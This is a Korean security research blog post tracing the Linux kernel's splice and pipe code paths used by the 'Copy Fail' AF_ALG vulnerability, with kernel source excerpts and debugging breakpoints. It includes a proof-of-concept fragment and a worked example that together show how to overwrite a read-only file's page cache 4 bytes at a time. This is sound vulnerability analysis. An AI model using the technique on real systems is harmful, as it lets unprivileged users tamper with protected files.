Home
System Hacking
🧬

Copy Fail Background (4) - splice()와 pipe Code by Code

Type
Research
날짜
2026/07/09
종류
Kernel
Linux
pipe
filesystem
1 more property

여담

Copy Fail Background (1)에서는 AF_ALG, AEAD, page cache, scatterlist를 한 번에 훑었고, Background (2)에서는 AF_ALG를 kernel code 기준으로 따라갔다.
readable file이 어떻게 pipe 안으로 들어가는가? pipe가 file data를 복사해서 보관하는가? 아니면 file의 page cache page 자체를 들고 있는가? 두 번째 splice는 그 page를 AF_ALG에 어떻게 전달하는가?
Plain Text
복사
이 글은 이 부분만 따로 본다.
일반적인 splice() 사용법을 나열하는 글이 아니라, Copy Fail에서 사용하는 두 번의 splice()를 기준으로 struct file, pipe_inode_info, pipe_buffer, page cache folio, bio_vec, iov_iter가 어떻게 연결되는지 kernel code를 따라간다.
앞의 글은 다음과 같다.
이 글에서 전달한 page가 실제 write되는 다음 단계는 본편에서 이어진다.

결론부터

Copy Fail에서 pipe는 attacker payload를 담는 일반 byte queue가 아니다.
읽기 가능한 target file의 page-cache page reference를 AF_ALG socket까지 운반하는 중간 객체다.
target file -> address_space -> page cache folio -> struct page *P -> pipe_buffer.page = P -> bio_vec.bv_page = P -> scatterlist sg_page(sg) = P -> AF_ALG ctx->tsgl_list
Plain Text
복사
중간에 descriptor의 모양은 바뀌지만 struct page *P는 같다.
pipe_buffer.page == bio_vec.bv_page == sg_page(sg)
Plain Text
복사
그리고 이 page는 target file을 O_RDONLY로 열어 얻은 page다. 정상적으로는 crypto source로 읽기만 해야 한다. Copy Fail은 이후 vulnerable algif_aead가 이 source page를 destination SGL 뒤에 chain하면서 write가 가능해진다.
splice() 자체가 file을 overwrite하는 게 아니다.
splice() source page reference를 AF_ALG까지 전달 vulnerable algif_aead + authencesn 전달된 source page를 destination처럼 사용 page memory overwrite
Plain Text
복사

코드 읽는 지도

파일
역할
이 글에서 보는 함수/구조체
include/linux/pipe_fs_i.h
pipe ring과 각 slot에 저장되는 page descriptor를 정의한다.
struct pipe_buffer, struct pipe_inode_info, pipe_buf(), pipe_head_buf()
fs/pipe.c
pipe()가 두 FD와 공통 pipe object를 만드는 과정, page reference의 release 동작을 구현한다.
alloc_pipe_info(), create_pipe_files(), do_pipe2(), generic_pipe_buf_release()
fs/splice.c
splice() syscall의 방향을 판별하고 file-to-pipe, pipe-to-file/socket 경로를 dispatch한다.
do_splice(), splice_file_to_pipe(), do_splice_read(), do_splice_from(), splice_to_socket()
mm/filemap.c
일반 file의 page cache folio를 찾아 pipe buffer에 연결한다.
filemap_splice_read(), splice_folio_into_pipe()
net/socket.c
socket FD에 대한 splice write가 splice_to_socket()으로 연결되는 지점을 보여준다.
socket_file_ops
lib/scatterlist.c
pipe에서 만든 ITER_BVEC를 scatterlist로 변환한다.
extract_iter_to_sg(), extract_bvec_to_sg()
crypto/af_alg.c
splice로 전달된 page를 AF_ALG TX SGL에 저장한다.
af_alg_sendmsg()

splice()는 무엇을 하는 syscall인가

userspace signature는 다음 형태다.
ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
C
복사
fd_in에서 fd_out으로 최대 len byte를 옮긴다. 하지만 일반적인 read()write() 조합과 가장 큰 차이는 userspace buffer가 없다는 점이다.
read + write file page cache -> copy_to_user(user buffer) -> copy_from_user(destination) splice kernel page reference / kernel iterator -> pipe -> destination FD
Plain Text
복사
여기서 흔히 splice()를 zero-copy syscall이라고 부른다. 다만 모든 조합에서 반드시 byte copy가 0번이라는 뜻은 아니다. source와 destination의 file operation 구현에 따라 copy fallback이 존재할 수 있다.
Copy Fail에서 사용하는 일반 page-cache-backed file 경로는 실제로 page reference를 pipe에 연결한다. 반면 O_DIRECT file이나 DAX inode는 page cache를 사용하지 않으므로 do_splice_read()copy_splice_read() fallback을 선택한다.
if ((in->f_flags & O_DIRECT) || IS_DAX(in->f_mapping->host)) return copy_splice_read(in, ppos, pipe, len, flags); return in->f_op->splice_read(in, ppos, pipe, len, flags);
C
복사
따라서 Copy Fail에서 중요한 zero-copy는 다음과 같이 좁혀서 이해하는 게 맞다.
일반 file의 page cache folio에서 얻은 struct page *를 pipe와 socket iterator가 공유하고, file byte를 별도 AF_ALG input page로 복사하지 않는 경로다.

왜 pipe가 필요한가

do_splice()는 input과 output 중 어느 쪽이 pipe인지 확인한다.
위치: fs/splice.c:1300
ipipe = get_pipe_info(in, true); opipe = get_pipe_info(out, true); if (ipipe && opipe) { ret = splice_pipe_to_pipe(ipipe, opipe, len, flags); } else if (ipipe) { ret = do_splice_from(ipipe, out, &offset, len, flags); } else if (opipe) { ret = splice_file_to_pipe(in, opipe, &offset, len, flags); } else { ret = -EINVAL; }
C
복사
방향은 네 가지다.
input
output
경로
pipe
pipe
splice_pipe_to_pipe()
pipe
file/socket
do_splice_from() → output의 splice_write
file/socket
pipe
splice_file_to_pipe() → input의 splice_read
일반 FD
일반 FD
-EINVAL
splice(file_fd, socket_fd, ...)처럼 일반 file에서 socket으로 바로 보낼 수 있는 형태가 아니다. pipe가 kernel-side transport이자 page descriptor ring 역할을 한다.
Copy Fail은 그래서 두 번 호출한다.
1. target file -> pipe 2. pipe -> AF_ALG operation socket
Plain Text
복사

pipe()를 호출하면 생기는 kernel object

userspace에서는 다음 두 정수만 보인다.
int pipefd[2]; pipe(pipefd); pipefd[0] = read end pipefd[1] = write end
C
복사
kernel에서는 pipe()do_pipe2()create_pipe_files()를 거친다.
위치: fs/pipe.c:926-1062
create_pipe_files()는 read FD와 write FD를 만들고 두 struct fileprivate_data에 같은 struct pipe_inode_info *를 저장한다.
f = alloc_file_pseudo(inode, pipe_mnt, "", O_WRONLY, &pipeanon_fops); f->private_data = inode->i_pipe; res[0] = alloc_file_clone(f, O_RDONLY, &pipeanon_fops); res[0]->private_data = inode->i_pipe; res[1] = f;
C
복사
메모리 상태는 다음과 같다.
pipefd[0] -> struct file, O_RDONLY private_data -----+ | pipefd[1] -> struct file, O_WRONLY| private_data -----+ v struct pipe_inode_info
Plain Text
복사
struct pipe_inode_info는 pipe 전체 상태를 가진다.
위치: include/linux/pipe_fs_i.h:84-110
struct pipe_inode_info { struct mutex mutex; wait_queue_head_t rd_wait, wr_wait; union pipe_index; /* head, tail */ unsigned int max_usage; unsigned int ring_size; ... struct pipe_buffer *bufs; };
C
복사
alloc_pipe_info()는 기본적으로 PIPE_DEF_BUFFERS만큼의 pipe_buffer ring을 할당한다.
pipe->bufs = kzalloc_objs(struct pipe_buffer, pipe_bufs, ...); pipe->max_usage = pipe_bufs; pipe->ring_size = pipe_bufs;
C
복사
head는 producer가 새 buffer를 넣을 위치고, tail은 consumer가 읽을 위치다.
pipe->bufs ring tail head v v [ used ][ used ][ empty ][ empty ] ... producer: head 증가 consumer: tail 증가
Plain Text
복사
실제 slot 계산은 ring mask를 사용한다.
return &pipe->bufs[slot & (pipe->ring_size - 1)];
C
복사

pipe_buffer는 byte array가 아니다

위치: include/linux/pipe_fs_i.h:26-32
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };
C
복사
핵심은 page, offset, len이다.
page : 실제 데이터가 들어 있는 page offset : page 안에서 pipe data가 시작하는 위치 len : 유효한 data 길이 ops : page의 출처에 맞는 confirm/release/get 동작
Plain Text
복사
pipe ring의 한 slot은 개념적으로 다음 문장이다.
page Poffset O부터 len L만큼을 현재 pipe data로 취급한다.
이 구조 때문에 pipe에는 서로 다른 출처의 page가 들어갈 수 있다.
pipe에 데이터를 넣은 방법
pipe_buffer.page의 출처
write(pipefd[1], user_buf, ...)
pipe가 관리하는 anonymous page에 userspace byte를 복사
splice(file_fd, ..., pipefd[1], ...)
file의 page cache page를 직접 참조할 수 있음
vmsplice()
userspace page를 pin/reference한 buffer
Copy Fail에서는 두 번째 경우만 중요하다. 공격자가 payload를 write(pipefd[1], ...)로 넣는 것이 아니다. target file page를 pipe ring slot에 걸어 둔다.

Step 1. splice syscall entry

위치: fs/splice.c:1616-1635
SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in, int, fd_out, loff_t __user *, off_out, size_t, len, unsigned int, flags) { if (!len) return 0; if (flags & ~SPLICE_F_ALL) return -EINVAL; CLASS(fd, in)(fd_in); CLASS(fd, out)(fd_out); return __do_splice(fd_file(in), off_in, fd_file(out), off_out, len, flags); }
C
복사
__do_splice()는 userspace의 off_in/off_out 값을 kernel loff_t로 가져오고 do_splice()를 호출한다.
pipe 쪽 offset pointer는 사용할 수 없다. pipe에는 seek 가능한 file position이 없기 때문이다.
file -> pipe off_in : file offset pointer 또는 NULL off_out : 반드시 NULL pipe -> socket off_in : 반드시 NULL off_out : 일반적으로 NULL
Plain Text
복사
Copy Fail PoC도 이 형태를 그대로 사용한다.
splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0); splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0);
C
복사

Step 2. 첫 번째 splice: target file에서 pipe로

공격에 사용되는 첫 호출은 다음과 같다.
size_t splice_len = target_offset + 4; off_t src_off = 0; splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0);
C
복사
file_fdO_RDONLY로 연다. 이 호출은 target file에 write를 요청하지 않기 때문이다.
do_splice()에서 output이 pipe이므로 다음 branch가 선택된다.
} else if (opipe) { ret = rw_verify_area(READ, in, &offset, len); ... ret = splice_file_to_pipe(in, opipe, &offset, len, flags); }
C
복사
여기서 검사하는 operation도 READ다.
attacker에게 필요한 file permission read permission attacker에게 없어도 되는 permission write permission
Plain Text
복사
이 read permission만으로 얻은 source page가 나중에 destination에 들어가는 것이 취약점의 security boundary violation이다.

splice_file_to_pipe()

위치: fs/splice.c:1280-1295
pipe_lock(opipe); ret = wait_for_space(opipe, flags); if (!ret) ret = do_splice_read(in, offset, opipe, len, flags); pipe_unlock(opipe);
C
복사
pipe ring에 빈 slot이 생길 때까지 기다린 뒤 input file의 splice_read 구현으로 보낸다.

do_splice_read()

위치: fs/splice.c:954-980
p_space = pipe->max_usage - pipe_buf_usage(pipe); len = min_t(size_t, len, p_space << PAGE_SHIFT); if (!in->f_op->splice_read) return warn_unsupported(in, "read"); if ((in->f_flags & O_DIRECT) || IS_DAX(in->f_mapping->host)) return copy_splice_read(in, ppos, pipe, len, flags); return in->f_op->splice_read(in, ppos, pipe, len, flags);
C
복사
일반 file의 splice_readfilemap_splice_read()로 이어진다.
splice() -> __do_splice() -> do_splice() -> splice_file_to_pipe() -> do_splice_read() -> file->f_op->splice_read() -> filemap_splice_read()
Plain Text
복사

Step 3. filemap_splice_read()가 page cache folio를 얻는다

위치: mm/filemap.c:3048-3139
filemap_splice_read()는 input file의 address_space에서 page cache folio를 가져온다.
error = filemap_get_pages(&iocb, len, &fbatch, true);
C
복사
page cache에 folio가 이미 있으면 그것을 사용하고, 필요한 경우 readahead/I/O를 통해 folio를 채운다.
그 다음 batch의 각 folio를 pipe에 넣는다.
for (i = 0; i < folio_batch_count(&fbatch); i++) { struct folio *folio = fbatch.folios[i]; ... n = splice_folio_into_pipe(pipe, folio, *ppos, n); }
C
복사
여기까지의 상태는 다음과 같다.
target file inode -> i_mapping -> page cache folio F -> struct page P [ file bytes ... ] pipe 아직 empty
Plain Text
복사
이제 splice_folio_into_pipe()가 folio와 pipe ring을 연결한다.

Step 4. splice_folio_into_pipe()는 page pointer를 저장한다

위치: mm/filemap.c:2999-3027
page = folio_page(folio, offset / PAGE_SIZE); size = min(size, folio_size(folio) - offset); offset %= PAGE_SIZE; while (spliced < size && !pipe_is_full(pipe)) { struct pipe_buffer *buf = pipe_head_buf(pipe); size_t part = min_t(size_t, PAGE_SIZE - offset, size - spliced); *buf = (struct pipe_buffer) { .ops = &page_cache_pipe_buf_ops, .page = page, .offset = offset, .len = part, }; folio_get(folio); pipe->head++; ... }
C
복사
여기에는 memcpy()가 없다.
pipe_head_buf(pipe)로 현재 head slot을 얻고, page pointer와 범위만 기록한다.
before page cache page P [ target file bytes ] after page cache page P [ target file bytes ] pipe->bufs[head] .page = P .offset = file offset inside P .len = requested length .ops = page_cache_pipe_buf_ops
Plain Text
복사
folio_get(folio)는 pipe가 이 page를 참조하는 동안 page가 해제되지 않도록 reference count를 증가시킨다.
page_cache_pipe_buf_ops도 page가 page cache에서 왔다는 사실을 반영한다.
위치: fs/splice.c:155-160
const struct pipe_buf_operations page_cache_pipe_buf_ops = { .confirm = page_cache_pipe_buf_confirm, .release = page_cache_pipe_buf_release, .try_steal = page_cache_pipe_buf_try_steal, .get = generic_pipe_buf_get, };
C
복사
confirm은 page-cache folio가 uptodate인지 확인하고 진행 중인 I/O 상태를 처리한다. release는 pipe가 buffer를 모두 소비했을 때 reference를 반납한다.
static void page_cache_pipe_buf_release(..., struct pipe_buffer *buf) { put_page(buf->page); }
C
복사
중요한 점은 pipe가 page를 소유권 없이 잠깐 빌려 쓴다는 것이다.

첫 번째 splice 직후의 메모리 상태

target offset을 t라고 하고 file offset 0부터 t + 4 byte를 splice했다고 하자.
target file page cache page P +-------------------------------------------------+ | file[0] ... file[t-1] | file[t] ... file[t+3] | +-------------------------------------------------+ pipe ring slot pipe_buffer.page = P pipe_buffer.offset = 0 pipe_buffer.len = t + 4
Plain Text
복사
pipe에 새로운 t + 4 byte 복사본이 생긴 것이 아니다.
틀린 그림 page P -> memcpy -> pipe private page Q 실제 그림 pipe_buffer.page --------> page P
Plain Text
복사
그래서 이후 pipe consumer가 buf->page를 사용하면 target file의 page-cache page를 직접 보게 된다.

Step 5. 두 번째 splice: pipe에서 AF_ALG socket으로

두 번째 호출은 다음 형태다.
splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0);
C
복사
이번에는 input이 pipe이므로 do_splice()ipipe branch가 선택된다.
do_splice() ipipe != NULL opipe == NULL -> do_splice_from(ipipe, out=AF_ALG socket, ...)
Plain Text
복사
do_splice_from()은 output FD의 splice_write operation을 호출한다.
위치: fs/splice.c:931-937
if (!out->f_op->splice_write) return warn_unsupported(out, "write"); return out->f_op->splice_write(pipe, out, ppos, len, flags);
C
복사
socket FD의 file operations는 net/socket.c에 정의되어 있다.
위치: net/socket.c:156-173
static const struct file_operations socket_file_ops = { ... .splice_write = splice_to_socket, ... };
C
복사
따라서 실제 call chain은 다음과 같다.
splice(pipefd[0], op_sock) -> __do_splice() -> do_splice() -> do_splice_from() -> socket_file_ops.splice_write -> splice_to_socket()
Plain Text
복사

Step 6. splice_to_socket()가 pipe_buffer를 bio_vec로 바꾼다

위치: fs/splice.c:795-917
splice_to_socket()은 pipe ring의 tail부터 buffer를 읽는다.
struct pipe_buffer *buf = pipe_buf(pipe, tail);
C
복사
page-cache buffer라면 먼저 pipe_buf_confirm()으로 data가 유효한지 확인한다.
ret = pipe_buf_confirm(pipe, buf);
C
복사
그 다음 pipe buffer의 page, offset, length를 struct bio_vec에 그대로 넣는다.
seg = min_t(size_t, remain, buf->len); bvec_set_page(&bvec[bc++], buf->page, seg, buf->offset);
C
복사
struct bio_vec도 data buffer가 아니라 page fragment descriptor다.
bio_vec bv_page = 어느 page인가 bv_offset = page 내부 시작 위치 bv_len = 길이
Plain Text
복사
따라서 변환 후에도 pointer identity는 유지된다.
pipe_buffer.page = P | v bio_vec.bv_page = P
Plain Text
복사
byte copy는 없다.

Step 7. kernel이 MSG_SPLICE_PAGES와 ITER_BVEC를 만든다

splice_to_socket()은 userspace의 sendmsg()를 그대로 재사용하지 않는다. kernel 안에서 struct msghdr와 iterator를 만들어 sock_sendmsg()를 호출한다.
msg.msg_flags = MSG_SPLICE_PAGES; if (flags & SPLICE_F_MORE) msg.msg_flags |= MSG_MORE; iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); ret = sock_sendmsg(sock, &msg);
C
복사
여기서 두 가지가 중요하다.
MSG_SPLICE_PAGES msg_iter가 page reference를 담고 있다는 사실을 socket send path에 알림 ITER_BVEC msg_iter의 backing storage가 struct bio_vec array임을 나타냄
Plain Text
복사
즉 Copy Fail exploit의 userspace 코드가 다음을 직접 호출하는 것이 아니다.
sendmsg(op_sock, ..., MSG_SPLICE_PAGES); // 실제 exploit 형태가 아님
C
복사
실제 형태는 다음이다.
splice(pipefd[0], NULL, op_sock, NULL, len, 0);
C
복사
그리고 두 번째 splice의 kernel 구현이 MSG_SPLICE_PAGES를 붙여 AF_ALG의 send path를 호출한다.
SPLICE_F_MORE를 userspace에서 넘기면 socket message의 MSG_MORE로 변환된다. Copy Fail PoC는 splice flags로 0을 사용하지만, 앞의 AAD sendmsg()에는 별도로 MSG_MORE를 사용해 AF_ALG request가 아직 끝나지 않았음을 표시한다.

Step 8. AF_ALG가 ITER_BVEC를 TX scatterlist로 바꾼다

sock_sendmsg()는 AF_ALG operation socket의 .sendmsg로 dispatch된다.
sock_sendmsg() -> AF_ALG aead_sendmsg() -> af_alg_sendmsg()
Plain Text
복사
af_alg_sendmsg()MSG_SPLICE_PAGES를 보고 copy path가 아니라 iterator extraction path를 선택한다.
위치: crypto/af_alg.c:1051-1069
if (msg->msg_flags & MSG_SPLICE_PAGES) { plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable, ..., 0); for (; sgl->cur < sgtable.nents; sgl->cur++) get_page(sg_page(&sg[sgl->cur])); }
C
복사
msg_iterITER_BVEC이므로 extract_iter_to_sg()extract_bvec_to_sg()를 호출한다.
위치: lib/scatterlist.c:1408-1422
case ITER_BVEC: return extract_bvec_to_sg(iter, maxsize, sgtable, sg_max, extraction_flags);
C
복사
핵심 변환은 다음 한 줄이다.
위치: lib/scatterlist.c:1167-1206
sg_set_page(sg, bv[i].bv_page, len, off);
C
복사
따라서 같은 page pointer가 scatterlist에 들어간다.
target page cache page P -> pipe_buffer.page = P -> bio_vec.bv_page = P -> sg_page(sg) = P -> ctx->tsgl_list
Plain Text
복사
get_page(sg_page(...))는 AF_ALG TX SGL이 page reference를 따로 보유하게 만든다.

page reference lifetime

두 번째 splice가 socket send를 끝내면 pipe buffer의 offsetlen을 소비한 만큼 갱신한다.
buf->offset += seg; buf->len -= seg; if (!buf->len) { pipe_buf_release(pipe, buf); tail++; }
C
복사
pipe_buf_release()page_cache_pipe_buf_release()를 통해 pipe가 잡은 reference를 하나 반납한다.
하지만 그 전에 af_alg_sendmsg()가 같은 page에 get_page()를 호출했다.
reference 변화는 개념적으로 다음과 같다.
file page cache가 보유한 page P 첫 번째 splice folio_get(P) -> pipe reference +1 두 번째 splice / AF_ALG send get_page(P) -> AF_ALG TX SGL reference +1 pipe buffer 소비 put_page(P) -> pipe reference -1 결과 pipe ring에서는 사라짐 AF_ALG ctx->tsgl_list는 여전히 P를 참조
Plain Text
복사
그래서 pipe가 비어도 AF_ALG request가 target page를 계속 사용할 수 있다.

실제 Copy Fail 공격 형태

이제 두 번의 splice를 실제 4-byte overwrite operation에 대입해 보면 된다.
공격자는 target offset t에 4-byte 값 new_bytes를 쓰고 싶다.
로컬 PoC의 patch_chunk()는 다음 순서다.
/* 1. controlled bytes를 AAD 뒤쪽 4 byte에 배치 */ unsigned char aad[8] = { 'A', 'A', 'A', 'A', new_bytes[0], new_bytes[1], new_bytes[2], new_bytes[3] }; sendmsg(op_sock, &msg, MSG_MORE); /* 2. target file의 0..t+3을 pipe에 연결 */ pipe(pipefd); size_t splice_len = t + 4; off_t src_off = 0; splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0); /* 3. 같은 page reference를 AF_ALG TX SGL에 전달 */ splice(pipefd[0], NULL, op_sock, NULL, splice_len, 0); /* 4. decrypt를 실행해 vulnerable dst write 발생 */ recv(op_sock, sink, 8 + t, 0);
C
복사
각 단계의 data 출처를 구분해야 한다.
데이터
들어가는 방법
실제 backing page
AAD = "AAAA" || new_bytes
일반 sendmsg(MSG_MORE)
AF_ALG가 할당한 private page
file[0..t+3]
file → pipe → AF_ALG splice
target file의 page-cache page
즉 공격자가 pipe에 new_bytes를 쓰는 게 아니다.
controlled new_bytes -> AAD -> normal sendmsg overwrite target page -> target file -> first splice -> pipe_buffer.page -> second splice -> AF_ALG TX SGL
Plain Text
복사
두 입력은 AF_ALG의 하나의 logical TX stream에서 합쳐진다.
[ AAD 8 bytes ][ target file bytes 0 .. t+3 ] AEAD 해석 [ AAD ][ ciphertext: file 0..t-1 ][ TAG: file t..t+3 ]
Plain Text
복사
vulnerable algif_aead는 마지막 4-byte TAG SGL을 RX destination 뒤에 chain한다. authencesn은 AAD의 4..7번째 byte를 destination 끝에 4 byte 쓰므로, 그 write가 file offset t의 TAG SGL에 도달한다.

구체적인 예: file offset 0x10에 WXYZ 쓰기

target offset을 t = 0x10으로 두고 new_bytes = "WXYZ"라고 하자.

AAD send

AAD offset 0: A A A A offset 4: W X Y Z
Plain Text
복사

file-to-pipe splice

splice_len = t + 4 = 0x14 target file page P에서 pipe로 연결되는 범위 file[0x00 .. 0x13]
Plain Text
복사
pipe ring에는 다음 descriptor가 생긴다.
pipe_buffer page = P offset = 0 len = 0x14
Plain Text
복사

pipe-to-AF_ALG splice

bio_vec bv_page = P bv_offset = 0 bv_len = 0x14 TX scatterlist sg_page = P sg offset = 0 sg length = 0x14
Plain Text
복사

AF_ALG logical input

[ AAD 8 ][ file 0x00..0x0f ][ file 0x10..0x13 ] ciphertext 0x10 TAG 4 bytes
Plain Text
복사

vulnerable destination

RX SGL length = 8 + 0x10 -> chain TAG_SG page = P offset = 0x10 length = 4
Plain Text
복사

authencesn write

source bytes AAD[4..7] = WXYZ destination page_address(P) + 0x10 result target file page cache의 0x10..0x13 = WXYZ
Plain Text
복사
이 operation을 t = 0, 4, 8, 12, ...로 반복하면 page cache를 4-byte chunk 단위로 패치할 수 있다.

왜 src_off는 항상 0인가

PoC는 target offset부터 4 byte만 splice하지 않는다.
src_off = 0; splice_len = target_offset + 4;
C
복사
이유는 AF_ALG destination의 logical offset과 file offset을 맞추기 위해서다.
spliced file bytes file[0 .. t-1] -> ciphertext 영역 file[t .. t+3] -> 마지막 4-byte TAG 영역
Plain Text
복사
vulnerable code가 source의 마지막 4 byte를 destination 뒤에 chain하므로, 앞에 t byte를 둬야 TAG SGL의 실제 file offset이 t가 된다.
file prefix length t + TAG length 4 = splice_len t + 4
Plain Text
복사
따라서 splice_len은 단순 전송 길이가 아니라 overwrite offset을 SGL 경계로 만드는 길이값이다.

MSG_MORE와 MSG_SPLICE_PAGES는 다르다

공격 흐름에는 비슷해 보이는 두 flag가 등장한다.
flag
누가 설정하는가
역할
MSG_MORE
첫 AAD sendmsg()에서 userspace PoC가 설정
AF_ALG에게 입력이 더 이어진다고 알림
MSG_SPLICE_PAGES
두 번째 splice의 splice_to_socket()이 kernel 내부에서 설정
msg_iter의 page들을 copy하지 말고 page-backed input으로 처리하게 함
그래서 실제 call sequence는 다음처럼 읽어야 한다.
userspace sendmsg(AAD, MSG_MORE) splice(file -> pipe) splice(pipe -> AF_ALG socket) kernel inside second splice msg.msg_flags = MSG_SPLICE_PAGES iov_iter_bvec(...) sock_sendmsg(...)
Plain Text
복사

splice flags

include/linux/splice.h에는 다음 flag가 있다.
#define SPLICE_F_MOVE 0x01 #define SPLICE_F_NONBLOCK 0x02 #define SPLICE_F_MORE 0x04 #define SPLICE_F_GIFT 0x08
C
복사
flag
의미
SPLICE_F_MOVE
가능하면 page를 복사하지 않고 이동하려는 hint다. 모든 path에서 강제되는 보장은 아니다.
SPLICE_F_NONBLOCK
pipe가 비거나 가득 찬 상황에서 block하지 않고 -EAGAIN을 허용한다.
SPLICE_F_MORE
뒤에 데이터가 더 이어질 수 있음을 destination에 전달한다. socket path에서는 MSG_MORE로 변환된다.
SPLICE_F_GIFT
주로 vmsplice()에서 page ownership 관련 의미를 갖는다.
Copy Fail PoC의 두 splice()는 flags로 0을 사용한다. 취약점에 필요한 핵심은 특별한 splice flag가 아니라 file page가 pipe buffer와 socket bvec를 거쳐 AF_ALG TX SGL에 같은 page reference로 들어간다는 점이다.

splice가 직접 write하는 것은 아니다

첫 번째 splice는 input file에 대해 rw_verify_area(READ, ...)를 호출한다.
두 번째 splice는 AF_ALG socket으로 page-backed message를 전송한다.
이 두 단계만으로 target page는 수정되지 않는다.
after first splice target page P unchanged pipe_buffer.page = P after second splice target page P unchanged AF_ALG TX SGL points to P after vulnerable AEAD recv path source TAG SGL enters req->dst chain authencesn writes through dst target page P modified
Plain Text
복사
이 경계를 구분하지 않으면 splice()가 read-only file을 쓰는 syscall처럼 오해하기 쉽다.
정확한 root cause는 다음과 같다.
splice()는 정상적으로 read-only source page를 전달했지만, algif_aead가 source와 destination을 잘못 합쳐 crypto consumer의 write가 source page까지 도달했다.

전체 call chain

userspace open(target, O_RDONLY) pipe(pipefd) splice(target_fd, &off0, pipefd[1], NULL, t+4, 0) kernel: file -> pipe sys_splice() -> __do_splice() -> do_splice() -> splice_file_to_pipe() -> do_splice_read() -> filemap_splice_read() -> filemap_get_pages() -> splice_folio_into_pipe() pipe_buffer.page = target page P folio_get(P) userspace splice(pipefd[0], NULL, op_sock, NULL, t+4, 0) kernel: pipe -> socket sys_splice() -> __do_splice() -> do_splice() -> do_splice_from() -> socket_file_ops.splice_write -> splice_to_socket() bvec_set_page(..., buf->page, ...) msg.msg_flags = MSG_SPLICE_PAGES iov_iter_bvec(..., ITER_SOURCE, ...) -> sock_sendmsg() kernel: AF_ALG -> aead_sendmsg() -> af_alg_sendmsg() -> extract_iter_to_sg() -> extract_bvec_to_sg() sg_set_page(sg, bv_page=P, ...) -> get_page(P) -> ctx->tsgl_list points to P
Plain Text
복사
Copy Fail 본편은 이 다음부터 시작한다.
ctx->tsgl_list -> vulnerable algif_aead dst chain -> authencesn scratch write -> memcpy(page_address(P) + target_offset, new_bytes, 4)
Plain Text
복사

디버깅할 때 볼 값

call chain을 GDB로 확인한다면 다음 breakpoint가 핵심이다.
break do_splice break splice_file_to_pipe break filemap_splice_read break splice_folio_into_pipe break splice_to_socket break af_alg_sendmsg break extract_bvec_to_sg
Plain Text
복사
splice_folio_into_pipe()에서는 다음 값을 본다.
folio page = folio_page(...) buf->page buf->offset buf->len pipe->head pipe->tail
Plain Text
복사
splice_to_socket()에서는 pointer identity를 확인한다.
buf->page bvec[0].bv_page bvec[0].bv_offset bvec[0].bv_len msg.msg_flags msg.msg_iter.iter_type
Plain Text
복사
af_alg_sendmsg()에서는 최종 scatterlist page를 비교한다.
bv_page sg_page(sg) sg->offset sg->length ctx->used
Plain Text
복사
확인해야 할 핵심 invariant는 하나다.
folio_page == pipe_buffer.page == bio_vec.bv_page == sg_page(sg)
Plain Text
복사

정리

splice()는 file content를 userspace buffer로 가져오지 않고 FD 사이에서 전달하기 위한 syscall이다. Copy Fail의 file-to-pipe 경로에서는 이 전달이 실제 page-cache page reference 공유로 구현된다.
filemap_get_pages() target file의 page cache folio 획득 splice_folio_into_pipe() pipe_buffer.page에 같은 page 저장 splice_to_socket() bio_vec.bv_page에 같은 page 저장 extract_bvec_to_sg() scatterlist에 같은 page 저장 af_alg_sendmsg() get_page() 후 TX SGL에 보관
Plain Text
복사
공격 관점에서 pipe의 역할은 payload container가 아니다.
payload bytes AAD를 통해 별도로 전달 overwrite target read-only file의 page-cache page pipe를 통해 AF_ALG에 reference로 전달
Plain Text
복사
그래서 Copy Fail의 splice 부분은 다음 한 문장으로 정리할 수 있다.
공격자는 읽기 가능한 file의 page-cache page를 file-to-pipe와 pipe-to-socket splice로 AF_ALG source SGL에 넣고, 이후 AEAD의 source/destination 혼동을 이용해 그 source page를 4-byte write destination으로 바꾼다.